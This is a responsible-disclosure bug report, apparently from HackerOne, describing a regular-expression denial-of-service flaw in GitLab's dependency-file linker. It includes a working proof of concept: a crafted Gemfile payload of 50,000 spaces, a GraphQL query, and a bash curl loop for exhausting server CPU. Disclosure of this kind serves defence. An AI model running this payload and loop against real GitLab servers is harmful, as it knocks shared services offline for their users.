ReDoS in dependency linker for multiple filetypes that use the shared `link_method_call` regexp
HackerOne report #2370084 by joaxcar
on 2024-02-10, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
(note this is similar to https://hackerone.com/reports/2359528 but its two different regexps and are thus not related)
There are multiple DependencyLinker
files that are responsible for generating links in dependency files. This usually happens during highligher
when files are shown in plain view. A few of these linker files use the shared link_method_call
function to generate the regexps to match links. This shared regexp generator is subject to catastrophic backtracking.
The regexp in link_method_call
looks like this
def method_call_regex(method_name, value = nil)
method_name = regexp_for_value(method_name)
value = regexp_for_value(value)
%r{
#{method_name} # Method name
\s* # Whitespace
[(=]? # Opening brace or equals sign
\s* # Whitespace
['"](?<name>#{value})['"] # Package name in quotes
}x
end
When this is used for example in GemfileLinker
its used like this
link_method_call('source', URL_REGEX, &:itself)
and the final generated regexp looks like this
/source\s*[(=]?\s*['"](?<name>https?:\/\/[^'" ]+)['"]/
To break this regexp use a pattern like this
'source' + ' '.repeat(50000) + '"http://u'
inside of a file named Gemfile
.
The attacker can make the GitLab instance unresponsive by sending 1 request a second to
https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple
to put all CPUs at max capacity (tested on 1K reference architecture)
Steps to reproduce
Use a local hosted Gitlab server
- Log in to Gitlab
- Create a new project (or use an existing one), make it public (for ease of attack)
- Upload the file attached here (or create your own one named
Gemfile
)
- Go to
https://gitlab/example.com/-/graphql-explorer
and run this GraphQL query (replacing GROUPNAME/PROJECTNAME)
query {
project(fullPath: "GROUPNAME/PROJECTNAME") {
repository {
blobs(ref:"main", paths: ["Gemfile"]) {
nodes {
plainData
}
}
}
}
}
- The query should take a long time (probably error out)
- To exhaust the server, run this script in a terminal (change the URL and Project)
### !/bin/bash
### URL to which the curl request will be made
URL="https://gitlab.example.com"
PROJECT="groupname/projectname"
### Duration for the loop to run: 1 minutes (60 seconds)
DURATION=60
### Start time
START_TIME=$(date +%s)
### Loop until the duration is reached
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do
# Make the curl request
curl "$URL/api/graphql" \
-H 'Content-Type: application/json' \
--data-raw '{"query":"query{project(fullPath:\"'$PROJECT'\"){repository{blobs(ref:\"main\",paths:[\"Gemfile\"]){nodes{plainData}}}}}","variables":null}' &
# Wait for 1 second
sleep 1
done
- SSH into the gitlab server and use
top
orhtop
to view the CPU usage
Impact
DOS of gitlab instance and exhaustive resource consumption
What is the current bug behavior?
Usage of link_method_call
can cause DOS they way its used in linker files
What is the expected correct behavior?
The link_method_call
should be a safe regexp. Or there should be a limit on the amount of whitespace between the key
and the value
in the regexp
Impact
DOS of gitlab instance and exhaustive resource consumption
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: